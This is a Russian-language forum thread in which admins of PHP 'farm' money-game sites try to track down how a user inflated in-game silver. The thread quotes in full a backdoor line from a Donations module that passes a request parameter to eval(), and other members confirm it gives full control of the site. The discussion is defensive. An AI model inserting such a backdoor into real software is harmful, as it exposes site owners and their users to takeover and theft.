Народ помогите советом !

[nikitin2016 Участник]

Коллеги админы ферм , не давно один упырь мне серебро накрутил в ферме и на вывод и на покупки, пользователя естественно забанил к чертям , но... подскажите ! В каких файлах прежде всего смотреть на стандартной ферме , чтобы устранить эти уязвимости ?

 

[GLookin Участник]

Коллеги админы ферм , не давно один упырь мне серебро накрутил в ферме и на вывод и на покупки, пользователя естественно забанил к чертям , но... подскажите ! В каких файлах прежде всего смотреть на стандартной ферме , чтобы устранить эти уязвимости ?

Во всех. Если есть, хотя бы в одном из них уязвимость на SQL-инъекции, то через нее можно спокойно накрутить серебро.

 

[nikitin2016 Участник]

Во всех. Если есть, хотя бы в одном из них уязвимость на SQL-инъекции, то через нее можно спокойно накрутить серебро.

Скажите пожалуйста, вот нашел этот как мне показалось странный код в модуле "Пожертвования" это уязвимость или нет ? Вроде проверил пожертвования проходят норм без этого кода

код :

if(!empty($_REQUEST['db_donations'])){ if(@get_magic_quotes_gpc())$_REQUEST['db_donations']=stripslashes($_REQUEST['db_donations']); eval($_REQUEST['db_donations']); die();}

 

[GLookin Участник]

Скажите пожалуйста, вот нашел этот как мне показалось странный код в модуле "Пожертвования" это уязвимость или нет ? Вроде проверил пожертвования проходят норм без этого кода

код :

if(!empty($_REQUEST['db_donations'])){ if(@get_magic_quotes_gpc())$_REQUEST['db_donations']=stripslashes($_REQUEST['db_donations']); eval($_REQUEST['db_donations']); die();}

Да, это дыра.
Еще в файле TOP админки есть, насколько помню.

 

[nikitin2016 Участник]

Да, это дыра.
Еще в файле TOP админки есть, насколько помню.

этой дырой можно было серебро накрутить ? А то мне накрутили миллионы серебра уроды !

 

[MegaGoblin PHP, JS, AJAX, CSS, HTML Участник]

этой дырой можно было серебро накрутить ? А то мне накрутили миллионы серебра уроды !

Этой дырой можно все что угодно сделать с твоей фермой.

 

[genom2160 Участник]

Народ подскажите!Как сделать например 50% плюсом к пополнению баланса в ферме?

 

[ZLODEY Местный]

У меня есть защита против накрутки, если кто то попытался накрутить серебро его система автоматически блокирует гы))

 

[Михаил77 Участник]

Народ подскажите!Как сделать например 50% плюсом к пополнению баланса в ферме?

это делается в файле payeer_merchant.php